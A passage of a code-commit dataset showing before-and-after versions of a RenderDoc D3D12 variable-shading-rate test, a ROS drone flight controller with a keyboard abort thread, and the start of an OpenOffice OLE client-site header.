{Vec3f(-0.5f, 0.4f, 0.0f), Vec4f(0.0f, 0.0f, 0.0f, 1.0f), Vec2f(0.0f, 1.0f)},\n        {Vec3f(0.0f, -0.6f, 0.0f), Vec4f(0.0f, 0.0f, 0.0f, 1.0f), Vec2f(1.0f, 0.0f)},\n\n        {Vec3f(0.0f, -0.4f, 0.0f), Vec4f(1.0f, 1.0f, 0.0f, 1.0f), Vec2f(0.0f, 0.0f)},\n        {Vec3f(0.5f, 0.6f, 0.0f), Vec4f(1.0f, 1.0f, 0.0f, 1.0f), Vec2f(0.0f, 1.0f)},\n        {Vec3f(1.0f, -0.4f, 0.0f), Vec4f(1.0f, 1.0f, 0.0f, 1.0f), Vec2f(1.0f, 0.0f)},\n    };\n\n    ID3D12ResourcePtr vb = MakeBuffer().Data(tris);\n\n    ResourceBarrier(vb, D3D12_RESOURCE_STATE_COMMON, D3D12_RESOURCE_STATE_VERTEX_AND_CONSTANT_BUFFER);\n\n    ID3D12ResourcePtr shadImage =\n        MakeTexture(DXGI_FORMAT_R8_UINT, screenWidth \/ opts6.ShadingRateImageTileSize,\n                    screenHeight \/ opts6.ShadingRateImageTileSize)\n            .Mips(1)\n            .UAV()\n            .InitialState(D3D12_RESOURCE_STATE_UNORDERED_ACCESS);\n\n    while(Running())\n    {\n      ID3D12GraphicsCommandListPtr cmd = GetCommandBuffer();\n\n      Reset(cmd);\n\n      ID3D12ResourcePtr bb = StartUsingBackbuffer(cmd, D3D12_RESOURCE_STATE_RENDER_TARGET);\n\n      D3D12_CPU_DESCRIPTOR_HANDLE rtv =\n          MakeRTV(bb).Format(DXGI_FORMAT_R8G8B8A8_UNORM_SRGB).CreateCPU(0);\n\n      cmd->SetDescriptorHeaps(1, &m_CBVUAVSRV.GetInterfacePtr());\n\n      ClearRenderTargetView(cmd, rtv, {0.2f, 0.2f, 0.2f, 1.0f});\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        D3D12_RECT rect = {0, 0, LONG(screenWidth \/ opts6.ShadingRateImageTileSize),\n                           LONG(screenHeight \/ opts6.ShadingRateImageTileSize)};\n        uint32_t col[4] = {};\n        col[0] = D3D12_SHADING_RATE_2X2;\n\n        D3D12_CPU_DESCRIPTOR_HANDLE shadCPU = MakeUAV(shadImage).CreateClearCPU(1);\n        D3D12_GPU_DESCRIPTOR_HANDLE shadGPU = MakeUAV(shadImage).CreateGPU(1);\n        cmd->ClearUnorderedAccessViewUint(shadGPU, shadCPU, shadImage, col, 1, &rect);\n\n        col[0] = D3D12_SHADING_RATE_1X1;\n        rect.left = LONG(screenWidth \/ opts6.ShadingRateImageTileSize) -\n                    LONG((screenWidth \/ 8) \/ opts6.ShadingRateImageTileSize);\n        cmd->ClearUnorderedAccessViewUint(shadGPU, shadCPU, shadImage, col, 1, &rect);\n\n        ResourceBarrier(cmd, shadImage, D3D12_RESOURCE_STATE_UNORDERED_ACCESS,\n                        D3D12_RESOURCE_STATE_SHADING_RATE_SOURCE);\n      }\n\n      cmd->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n      IASetVertexBuffer(cmd, vb, sizeof(DefaultA2V), 0);\n      cmd->SetGraphicsRootSignature(sig);\n\n      OMSetRenderTargets(cmd, {rtv}, {});\n      RSSetScissorRect(cmd, {0, 0, screenWidth, screenHeight});\n\n      float x = (float)screenWidth \/ 4.0f;\n      float y = (float)screenHeight \/ 4.0f;\n\n      cmd->SetPipelineState(pso);\n\n      ID3D12GraphicsCommandList5Ptr cmd5 = cmd;\n\n      D3D12_SHADING_RATE_COMBINER combiners[] = {\n          D3D12_SHADING_RATE_COMBINER_MAX, D3D12_SHADING_RATE_COMBINER_MAX,\n      };\n\n      pushMarker(cmd, \"First\");\n\n      {\n        setMarker(cmd, \"Default\");\n\n        RSSetViewport(cmd, {x * 0.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n      }\n\n      {\n        setMarker(cmd, \"Base\");\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_2X2, combiners);\n\n        RSSetViewport(cmd, {x * 1.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_1X1, combiners);\n      }\n\n      if(vertpso)\n      {\n        setMarker(cmd, \"Vertex\");\n\n        cmd->SetPipelineState(vertpso);\n\n        RSSetViewport(cmd, {x * 2.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd->SetPipelineState(pso);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmd, \"Image\");\n\n        cmd5->RSSetShadingRateImage(shadImage);\n\n        RSSetViewport(cmd, {x * 3.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd5->RSSetShadingRateImage(NULL);\n      }\n\n      if(vertpso)\n      {\n        setMarker(cmd, \"Base + Vertex\");\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_2X2, combiners);\n        cmd->SetPipelineState(vertpso);\n\n        RSSetViewport(cmd, {x * 0.0f, y, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd->SetPipelineState(pso);\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_1X1, combiners);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmd, \"Base + Image\");\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_2X2, combiners);\n        cmd5->RSSetShadingRateImage(shadImage);\n\n        RSSetViewport(cmd, {x * 3.0f, y, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd5->RSSetShadingRateImage(NULL);\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_1X1, combiners);\n      }\n\n      if(vertpso && opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmd, \"Vertex + Image\");\n\n        cmd5->RSSetShadingRateImage(shadImage);\n        cmd->SetPipelineState(vertpso);\n\n        RSSetViewport(cmd, {x * 3.0f, y * 2.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd->SetPipelineState(pso);\n        cmd5->RSSetShadingRateImage(NULL);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        ResourceBarrier(cmd, shadImage, D3D12_RESOURCE_STATE_SHADING_RATE_SOURCE,\n                        D3D12_RESOURCE_STATE_UNORDERED_ACCESS);\n      }\n\n      popMarker(cmd);\n\n      cmd->Close();\n      cmd5 = NULL;\n\n      ID3D12GraphicsCommandListPtr cmdB = GetCommandBuffer();\n\n      Reset(cmdB);\n\n      cmdB->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n      cmdB->SetGraphicsRootSignature(sig);\n      cmdB->SetPipelineState(pso);\n\n      OMSetRenderTargets(cmdB, {rtv}, {});\n      RSSetScissorRect(cmdB, {0, 0, screenWidth, screenHeight});\n      RSSetViewport(cmdB, {0.0f, 0.0f, x, y, 0.0f, 1.0f});\n\n      pushMarker(cmdB, \"Second\");\n\n      {\n        setMarker(cmdB, \"Default\");\n\n        RSSetViewport(cmdB, {x * 0.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(6, 1, 0, 0);\n      }\n\n      {\n        setMarker(cmdB, \"Base\");\n\n        RSSetViewport(cmdB, {x * 1.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      if(vertpso)\n      {\n        setMarker(cmdB, \"Vertex\");\n\n        RSSetViewport(cmdB, {x * 2.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmdB, \"Image\");\n\n        RSSetViewport(cmdB, {x * 3.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      if(vertpso)\n      {\n        setMarker(cmdB, \"Base + Vertex\");\n\n        RSSetViewport(cmdB, {x * 0.0f, y, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmdB, \"Base + Image\");\n\n        RSSetViewport(cmdB, {x * 3.0f, y, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      if(vertpso && opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmdB, \"Vertex + Image\");\n\n        RSSetViewport(cmdB, {x * 3.0f, y * 2.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      popMarker(cmdB);\n\n      FinishUsingBackbuffer(cmdB, D3D12_RESOURCE_STATE_RENDER_TARGET);\n\n      cmdB->Close();\n\n      Submit({cmd, cmdB});\n\n      Present();\n    }\n\n    return 0;\n  }\n};\n\nREGISTER_TEST();\n<commit_msg>Handle D3D12 tier 1 VRS devices better when testing<commit_after>\/******************************************************************************\n * The MIT License (MIT)\n *\n * Copyright (c) 2019-2022 Baldur Karlsson\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n ******************************************************************************\/\n\n#include \"d3d12_test.h\"\n\nRD_TEST(D3D12_VRS, D3D12GraphicsTest)\n{\n  static constexpr const char *Description =\n      \"Checks that VRS is correctly replayed and that state is inspectable\";\n\n  std::string pixel = R\"EOSHADER(\n\nuint wang_hash(uint seed)\n{\n    seed = (seed ^ 61) ^ (seed >> 16);\n    seed *= 9;\n    seed = seed ^ (seed >> 4);\n    seed *= 0x27d4eb2d;\n    seed = seed ^ (seed >> 15);\n    return seed;\n}\n\nfloat4 main(float4 pos : SV_Position) : SV_Target0\n{\n  uint col = wang_hash(uint(pos.x * 10000.0f + pos.y));\n  float4 outcol;\n  outcol.x = float((col & 0xff000000u) >> 24u) \/ 255.0f;\n  outcol.y = float((col & 0x00ff0000u) >> 16u) \/ 255.0f;\n  outcol.z = float((col & 0x0000ff00u) >>  8u) \/ 255.0f;\n  outcol.w = 1.0f;\n\treturn outcol;\n}\n\n)EOSHADER\";\n\n  std::string vertex = R\"EOSHADER(\n\nstruct OUT\n{\nfloat4 pos : SV_Position;\n\n#ifdef VERT_VRS\nuint rate : SV_ShadingRate;\n#endif\n};\n\nOUT main(float3 pos : POSITION, float4 col : COLOR0)\n{\n\tOUT o = (OUT)0;\n\n\to.pos = float4(pos.xyz, 1);\n\n#ifdef VERT_VRS\n  o.rate = uint(col.x) << 2 | uint(col.y);\n#endif\n\n\treturn o;\n}\n\n)EOSHADER\";\n\n  void Prepare(int argc, char **argv)\n  {\n    D3D12GraphicsTest::Prepare(argc, argv);\n\n    if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_NOT_SUPPORTED)\n      Avail = \"Variable shading rate is not supported\";\n  }\n\n  int main()\n  {\n    \/\/ initialise, create window, create device, etc\n    if(!Init())\n      return 3;\n\n    ID3DBlobPtr vsblob = Compile(vertex, \"main\", \"vs_5_0\");\n    ID3DBlobPtr psblob = Compile(pixel, \"main\", \"ps_5_0\");\n\n    ID3D12RootSignaturePtr sig = MakeSig({});\n\n    ID3D12PipelineStatePtr pso = MakePSO().RootSig(sig).InputLayout().VS(vsblob).PS(psblob);\n\n    ID3D12PipelineStatePtr vertpso;\n    \/\/ without DXIL we can't compile shaders with shading rate exported from the vertex\n    if(m_DXILSupport)\n    {\n      vsblob = Compile(\"#define VERT_VRS 1\\n\\n\" + vertex, \"main\", \"vs_6_4\");\n      psblob = Compile(pixel, \"main\", \"ps_6_0\");\n\n      vertpso = MakePSO().RootSig(sig).InputLayout().VS(vsblob).PS(psblob);\n    }\n\n    const DefaultA2V tris[6] = {\n        {Vec3f(-1.0f, -0.6f, 0.0f), Vec4f(0.0f, 0.0f, 0.0f, 1.0f), Vec2f(0.0f, 0.0f)},\n        {Vec3f(-0.5f, 0.4f, 0.0f), Vec4f(0.0f, 0.0f, 0.0f, 1.0f), Vec2f(0.0f, 1.0f)},\n        {Vec3f(0.0f, -0.6f, 0.0f), Vec4f(0.0f, 0.0f, 0.0f, 1.0f), Vec2f(1.0f, 0.0f)},\n\n        {Vec3f(0.0f, -0.4f, 0.0f), Vec4f(1.0f, 1.0f, 0.0f, 1.0f), Vec2f(0.0f, 0.0f)},\n        {Vec3f(0.5f, 0.6f, 0.0f), Vec4f(1.0f, 1.0f, 0.0f, 1.0f), Vec2f(0.0f, 1.0f)},\n        {Vec3f(1.0f, -0.4f, 0.0f), Vec4f(1.0f, 1.0f, 0.0f, 1.0f), Vec2f(1.0f, 0.0f)},\n    };\n\n    ID3D12ResourcePtr vb = MakeBuffer().Data(tris);\n\n    ResourceBarrier(vb, D3D12_RESOURCE_STATE_COMMON, D3D12_RESOURCE_STATE_VERTEX_AND_CONSTANT_BUFFER);\n\n    if(opts6.ShadingRateImageTileSize == 0)\n      opts6.ShadingRateImageTileSize = 1;\n\n    ID3D12ResourcePtr shadImage =\n        MakeTexture(DXGI_FORMAT_R8_UINT, screenWidth \/ opts6.ShadingRateImageTileSize,\n                    screenHeight \/ opts6.ShadingRateImageTileSize)\n            .Mips(1)\n            .UAV()\n            .InitialState(D3D12_RESOURCE_STATE_UNORDERED_ACCESS);\n\n    while(Running())\n    {\n      ID3D12GraphicsCommandListPtr cmd = GetCommandBuffer();\n\n      Reset(cmd);\n\n      ID3D12ResourcePtr bb = StartUsingBackbuffer(cmd, D3D12_RESOURCE_STATE_RENDER_TARGET);\n\n      D3D12_CPU_DESCRIPTOR_HANDLE rtv =\n          MakeRTV(bb).Format(DXGI_FORMAT_R8G8B8A8_UNORM_SRGB).CreateCPU(0);\n\n      cmd->SetDescriptorHeaps(1, &m_CBVUAVSRV.GetInterfacePtr());\n\n      ClearRenderTargetView(cmd, rtv, {0.2f, 0.2f, 0.2f, 1.0f});\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        D3D12_RECT rect = {0, 0, LONG(screenWidth \/ opts6.ShadingRateImageTileSize),\n                           LONG(screenHeight \/ opts6.ShadingRateImageTileSize)};\n        uint32_t col[4] = {};\n        col[0] = D3D12_SHADING_RATE_2X2;\n\n        D3D12_CPU_DESCRIPTOR_HANDLE shadCPU = MakeUAV(shadImage).CreateClearCPU(1);\n        D3D12_GPU_DESCRIPTOR_HANDLE shadGPU = MakeUAV(shadImage).CreateGPU(1);\n        cmd->ClearUnorderedAccessViewUint(shadGPU, shadCPU, shadImage, col, 1, &rect);\n\n        col[0] = D3D12_SHADING_RATE_1X1;\n        rect.left = LONG(screenWidth \/ opts6.ShadingRateImageTileSize) -\n                    LONG((screenWidth \/ 8) \/ opts6.ShadingRateImageTileSize);\n        cmd->ClearUnorderedAccessViewUint(shadGPU, shadCPU, shadImage, col, 1, &rect);\n\n        ResourceBarrier(cmd, shadImage, D3D12_RESOURCE_STATE_UNORDERED_ACCESS,\n                        D3D12_RESOURCE_STATE_SHADING_RATE_SOURCE);\n      }\n\n      cmd->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n      IASetVertexBuffer(cmd, vb, sizeof(DefaultA2V), 0);\n      cmd->SetGraphicsRootSignature(sig);\n\n      OMSetRenderTargets(cmd, {rtv}, {});\n      RSSetScissorRect(cmd, {0, 0, screenWidth, screenHeight});\n\n      float x = (float)screenWidth \/ 4.0f;\n      float y = (float)screenHeight \/ 4.0f;\n\n      cmd->SetPipelineState(pso);\n\n      ID3D12GraphicsCommandList5Ptr cmd5 = cmd;\n\n      D3D12_SHADING_RATE_COMBINER combiners[] = {\n          D3D12_SHADING_RATE_COMBINER_MAX, D3D12_SHADING_RATE_COMBINER_MAX,\n      };\n\n      pushMarker(cmd, \"First\");\n\n      {\n        setMarker(cmd, \"Default\");\n\n        RSSetViewport(cmd, {x * 0.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n      }\n\n      {\n        setMarker(cmd, \"Base\");\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_2X2, combiners);\n\n        RSSetViewport(cmd, {x * 1.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_1X1, combiners);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmd, \"Vertex\");\n\n        cmd->SetPipelineState(vertpso);\n\n        RSSetViewport(cmd, {x * 2.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd->SetPipelineState(pso);\n        setMarker(cmd, \"Image\");\n\n        cmd5->RSSetShadingRateImage(shadImage);\n\n        RSSetViewport(cmd, {x * 3.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd5->RSSetShadingRateImage(NULL);\n\n        setMarker(cmd, \"Base + Vertex\");\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_2X2, combiners);\n        cmd->SetPipelineState(vertpso);\n\n        RSSetViewport(cmd, {x * 0.0f, y, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd->SetPipelineState(pso);\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_1X1, combiners);\n\n        setMarker(cmd, \"Base + Image\");\n\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_2X2, combiners);\n        cmd5->RSSetShadingRateImage(shadImage);\n\n        RSSetViewport(cmd, {x * 3.0f, y, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd5->RSSetShadingRateImage(NULL);\n        cmd5->RSSetShadingRate(D3D12_SHADING_RATE_1X1, combiners);\n\n        setMarker(cmd, \"Vertex + Image\");\n\n        cmd5->RSSetShadingRateImage(shadImage);\n        cmd->SetPipelineState(vertpso);\n\n        RSSetViewport(cmd, {x * 3.0f, y * 2.0f, x, y, 0.0f, 1.0f});\n        cmd->DrawInstanced(6, 1, 0, 0);\n\n        cmd->SetPipelineState(pso);\n        cmd5->RSSetShadingRateImage(NULL);\n\n        ResourceBarrier(cmd, shadImage, D3D12_RESOURCE_STATE_SHADING_RATE_SOURCE,\n                        D3D12_RESOURCE_STATE_UNORDERED_ACCESS);\n      }\n\n      popMarker(cmd);\n\n      cmd->Close();\n      cmd5 = NULL;\n\n      ID3D12GraphicsCommandListPtr cmdB = GetCommandBuffer();\n\n      Reset(cmdB);\n\n      cmdB->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n      cmdB->SetGraphicsRootSignature(sig);\n      cmdB->SetPipelineState(pso);\n\n      OMSetRenderTargets(cmdB, {rtv}, {});\n      RSSetScissorRect(cmdB, {0, 0, screenWidth, screenHeight});\n      RSSetViewport(cmdB, {0.0f, 0.0f, x, y, 0.0f, 1.0f});\n\n      pushMarker(cmdB, \"Second\");\n\n      {\n        setMarker(cmdB, \"Default\");\n\n        RSSetViewport(cmdB, {x * 0.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(6, 1, 0, 0);\n      }\n\n      {\n        setMarker(cmdB, \"Base\");\n\n        RSSetViewport(cmdB, {x * 1.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_2)\n      {\n        setMarker(cmdB, \"Vertex\");\n\n        RSSetViewport(cmdB, {x * 2.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n\n        setMarker(cmdB, \"Image\");\n\n        RSSetViewport(cmdB, {x * 3.0f, 0.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n\n        setMarker(cmdB, \"Base + Vertex\");\n\n        RSSetViewport(cmdB, {x * 0.0f, y, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n\n        setMarker(cmdB, \"Base + Image\");\n\n        RSSetViewport(cmdB, {x * 3.0f, y, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n\n        setMarker(cmdB, \"Vertex + Image\");\n\n        RSSetViewport(cmdB, {x * 3.0f, y * 2.0f, x, y, 0.0f, 1.0f});\n        cmdB->DrawInstanced(0, 0, 0, 0);\n      }\n\n      popMarker(cmdB);\n\n      FinishUsingBackbuffer(cmdB, D3D12_RESOURCE_STATE_RENDER_TARGET);\n\n      cmdB->Close();\n\n      Submit({cmd, cmdB});\n\n      Present();\n    }\n\n    return 0;\n  }\n};\n\nREGISTER_TEST();\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by mathias on 6\/1\/16.\n\/\/\n\n#include \"ros\/ros.h\"\n#include \"std_msgs\/String.h\"\n#include \"std_msgs\/Empty.h\"\n#include \"geometry_msgs\/Twist.h\"\n#include \"Route.h\"\n#include \"FlightController.h\"\n\n#define LOOP_RATE (50)\n\nstruct thread_data{\n    ros::Publisher pub_land;\n    ros::Publisher pub_takeoff;\n    ros::Publisher pub_control;\n    FlightController controller;\n    Route myRoute;\n};\n\nvoid *controlThread(void *thread_arg);\nvoid *abortThread(void *thread_arg);\n\nint main(int argc, char **argv) {\n    struct thread_data td[NUM_THREADS];\n\n    ros::init(argc, argv, \"blindFlight\");\n\n    ros::NodeHandle n;\n\n    td[0].controller = FlightController(LOOP_RATE, n);\n    td[0].myRoute = Route();\n    td[1].pub_land = pub_land;\n\n    pthread_t threads[NUM_THREADS];\n    pthread_create(&threads[0], NULL, controlThread, &td[0]);\n    pthread_create(&threads[1], NULL, abortThread, &td[1]);\n\n    ros::spin();\n\n    pthread_exit(NULL);\n}\n\n\nvoid *controlThread(void *thread_arg) {\n    int takeoff_time = 3;\n    double fly_time = 1.0;\n    double land_time = 3.0;\n    struct thread_data *thread_data;\n    thread_data = (struct thread_data *) thread_arg;\n\n    thread_data->controller.setStraightFlight(true);\n\n    int i = 0;\n    printf(\"Enter a key to start: \");\n    getchar();\n    while (ros::ok()) {\n\n        thread_data->controller.takeOff();\n\n        while (!thread_data->myRoute.hasAllBeenVisited()) {\n            Command currentCommand = thread_data->myRoute.nextCommand();\n\n            if (currentCommand.commandType == Command::goTo) {\n                controller.goToWaypoint(currentCommand);\n            } else if (currentCommand.commandType == Command::hover) {\n                controller.hover(currentCommand.timeToHover);\n            } else if (currentCommand.commandType == Command::turn) {\n                controller.turnDrone(currentCommand.degrees);\n            }\n        }\n\n        thread_data->controller.land();\n\n        pthread_exit(NULL);\n\n    }\n\n    pthread_exit(NULL);\n}\n\nvoid *abortThread(void *thread_arg) {\n    struct thread_data *thread_data;\n    thread_data = (struct thread_data*) thread_arg;\n\n    \/\/ System call to make terminal send all keystrokes directly to stdin\n    system(\"\/bin\/stty raw\");\n\n    while (1) {\n        \/\/ Abort if 'Esc' is pressed\n        if  (getchar() == 27) {\n            ROS_INFO(\"MANUEL ABORT!\");\n            std_msgs::Empty empty_msg;\n            thread_data->pub_land.publish(empty_msg);\n            break;\n        }   usleep(10);\n    }\n\n    \/\/ System call to set terminal behaviour to normal\n    system(\"\/bin\/stty cooked\");\n\n    pthread_exit(NULL);\n}<commit_msg>fixed merge bugs<commit_after>\/\/\n\/\/ Created by mathias on 6\/1\/16.\n\/\/\n\n#include \"ros\/ros.h\"\n#include \"std_msgs\/String.h\"\n#include \"std_msgs\/Empty.h\"\n#include \"geometry_msgs\/Twist.h\"\n#include \"Route.h\"\n#include \"FlightController.h\"\n\n#define NUM_THREADS 2\n#define LOOP_RATE (50)\n\nstruct thread_data{\n    ros::Publisher pub_land;\n    ros::Publisher pub_takeoff;\n    ros::Publisher pub_control;\n    FlightController controller;\n    Route myRoute;\n};\n\nvoid *controlThread(void *thread_arg);\nvoid *abortThread(void *thread_arg);\n\nint main(int argc, char **argv) {\n    struct thread_data td[NUM_THREADS];\n\n    ros::init(argc, argv, \"blindFlight\");\n\n    ros::NodeHandle n;\n\n    FlightController controller(LOOP_RATE, n);\n\n    td[0].controller = controller;\n    td[0].myRoute = Route();\n    td[1].controller = controller;\n\n    pthread_t threads[NUM_THREADS];\n    pthread_create(&threads[0], NULL, controlThread, &td[0]);\n    pthread_create(&threads[1], NULL, abortThread, &td[1]);\n\n    ros::spin();\n\n    pthread_exit(NULL);\n}\n\n\nvoid *controlThread(void *thread_arg) {\n    struct thread_data *thread_data;\n    thread_data = (struct thread_data *) thread_arg;\n\n    thread_data->controller.setStraightFlight(true);\n\n\n    while (ros::ok()) {\n\n        printf(\"Enter a key to start: \");\n        getchar();\n\n        thread_data->controller.takeOff();\n\n        while (!thread_data->myRoute.hasAllBeenVisited()) {\n            Command currentCommand = thread_data->myRoute.nextCommand();\n\n            if (currentCommand.commandType == Command::goTo) {\n                thread_data->controller.goToWaypoint(currentCommand);\n            } else if (currentCommand.commandType == Command::hover) {\n                thread_data->controller.hover(currentCommand.timeToHover);\n            } else if (currentCommand.commandType == Command::turn) {\n                thread_data->controller.turnDrone(currentCommand.degrees);\n            }\n        }\n\n        thread_data->controller.land();\n\n        pthread_exit(NULL);\n\n    }\n\n    pthread_exit(NULL);\n}\n\nvoid *abortThread(void *thread_arg) {\n    struct thread_data *thread_data;\n    thread_data = (struct thread_data*) thread_arg;\n\n    \/\/ System call to make terminal send all keystrokes directly to stdin\n    system(\"\/bin\/stty raw\");\n\n    while (1) {\n        \/\/ Abort if 'Esc' is pressed\n        if  (getchar() == 27) {\n            ROS_INFO(\"MANUEL ABORT!\");\n            thread_data->controller.land();\n            break;\n        }   usleep(10);\n    }\n\n    \/\/ System call to set terminal behaviour to normal\n    system(\"\/bin\/stty cooked\");\n\n    pthread_exit(NULL);\n}<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: olewrapclient.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 18:44:25 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include <osl\/interlck.h>\n#include <osl\/mutex.hxx>\n#include <platform.h>\n\nclass OleComponent;\nclass OleWrapperClientSite : public IOleClientSite\n{\n    osl::Mutex m_aMutex;\n    oslInterlockedCount m_nRefCount;\n    OleComponent* m_pOleComp;\n\npublic:\n    OleWrapperClientSite( OleComponent* pOleComp );\n    ~OleWrapperClientSite(void);\n\n    void disconnectOleComponent();\n\n    STDMETHODIMP QueryInterface(REFIID, void**);\n    STDMETHODIMP_(ULONG) AddRef(void);\n    STDMETHODIMP_(ULONG) Release(void);\n\n    STDMETHODIMP SaveObject(void);\n    STDMETHODIMP GetMoniker(DWORD, DWORD, LPMONIKER *);\n    STDMETHODIMP GetContainer(LPOLECONTAINER *);\n    STDMETHODIMP ShowObject(void);\n    STDMETHODIMP OnShowWindow(BOOL);\n    STDMETHODIMP RequestNewObjectLayout(void);\n};\n\n<commit_msg>INTEGRATION: CWS sb59 (1.2.64); FILE MERGED 